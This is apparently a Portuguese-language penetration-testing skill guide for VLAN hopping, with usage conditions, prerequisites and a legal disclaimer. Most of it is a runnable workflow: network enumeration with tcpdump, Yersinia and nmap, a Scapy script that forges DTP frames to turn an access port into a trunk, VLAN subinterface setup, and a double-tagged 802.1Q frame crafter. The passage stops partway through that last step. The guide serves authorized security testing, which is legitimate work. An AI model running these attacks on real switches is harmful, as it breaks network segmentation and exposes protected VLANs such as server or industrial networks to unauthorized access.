Realizando Ataque de VLAN Hopping

Quando Usar

• Testar a eficácia da segmentação de rede baseada em VLAN durante testes de penetração autorizados
• Validar se as configurações de porta trunk de switch impedem o acesso não autorizado a VLANs
• Avaliar se as configurações de tagging 802.1Q e VLAN nativa resistem a ataques de double-tagging
• Demonstrar às equipes de rede por que o hardening adequado de switches é crítico para o isolamento entre zonas
• Verificar se o DTP (Dynamic Trunking Protocol) está desabilitado em todas as portas de acesso

Não use em switches de produção sem autorização explícita e aprovação de gerenciamento de mudanças, contra VLANs de infraestrutura crítica (SCADA, dispositivos médicos) sem controles de segurança, ou como um vetor de negação de serviço.

Pré-requisitos

• Autorização por escrito especificando VLANs e switches em escopo para teste
• Acesso físico ou virtual a uma porta de acesso de switch na rede alvo
• Ferramentas Yersinia, Scapy e frogger VLAN hopping instaladas no Kali Linux
• Compreensão de trunking 802.1Q, DTP e tagging de VLAN no nível do frame
• Acesso à CLI do switch para verificação de configurações (somente leitura é suficiente)
• Wireshark para capturar e verificar frames com tags

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão por escrito para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1: Enumerar Configuração de VLAN

# Identify the current VLAN assignment of the attacker port
ip link show eth0
cat /proc/net/vlan/config 2>/dev/null

# Use CDP/LLDP to discover switch information
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>/dev/null
# Or use lldpd
lldpcli show neighbors

# If CDP is enabled, capture CDP frames
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'

# Use Yersinia to discover DTP and VTP information
sudo yersinia -G &
# Or command line:
sudo yersinia dtp -attack 0 -interface eth0
# This listens for DTP frames to learn trunk negotiation status

# Nmap to identify hosts on other VLANs (if routing exists)
nmap -sn 10.10.10.0/24 10.10.20.0/24 10.10.30.0/24

Passo 2: Tentar Spoofing de Switch (Ataque DTP)

# Use Yersinia to send DTP frames and negotiate a trunk
sudo yersinia dtp -attack 1 -interface eth0

# This sends DTP desirable frames to convert the access port to a trunk
# If successful, the port becomes a trunk carrying all VLANs

# Alternatively, use Scapy to craft DTP frames
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.dtp import *

# Send DTP desirable frame to negotiate trunk
dtp_frame = (
    Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
    SNAP(OUI=0x00000c, code=0x2004) /
    DTP(tlvlist=[
        DTPDomain(type=0x0001, domain=""),
        DTPStatus(type=0x0002, status=b"\x03"),  # Desirable
        DTPType(type=0x0003, dtptype=b"\xa5"),    # 802.1Q trunk
        DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr("eth0"))
    ])
)

sendp(dtp_frame, iface="eth0", count=10, inter=1)
print("[*] DTP desirable frames sent. Check if trunk is negotiated.")
PYEOF

# If trunk negotiation succeeds, verify by capturing tagged frames
sudo tcpdump -en -i eth0 'vlan' -c 10

# Create VLAN subinterfaces to access other VLANs
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 10.10.10.99/24 dev eth0.10
sudo ip link set eth0.10 up

sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.99/24 dev eth0.20
sudo ip link set eth0.20 up

# Verify access to other VLANs
ping -c 3 10.10.10.1
ping -c 3 10.10.20.1

Passo 3: Tentar Ataque de Double Tagging

# Double tagging funciona quando:
# 1. O atacante está na VLAN nativa do trunk
# 2. A VLAN alvo é diferente da VLAN nativa
# 3. O switch remove a tag externa e encaminha a tag interna

python3 << 'PYEOF'
from scapy.all import *

# Criar frame com double tagging
# Tag externa: VLAN Nativa (ex: VLAN 1)
# Tag interna: VLAN Alvo (ex: VLAN 20 - VLAN do servidor)
target_ip = "10.10.20.10"
target_mac = "ff:ff:ff:ff:ff:ff"

double_tagged = (
    Ether(dst=target_mac, src=get_if_hwaddr("eth0")) /
    Dot1Q(vlan=1) /       # Tag externa: VLAN nativa (será removida)
    Dot1Q(vlan=20) /      # Tag interna: VLAN alvo (será encaminhada)
    IP(dst=target_ip, src="10.10.20.99") /
    ICMP(type=8)           # Requisição de eco
)


…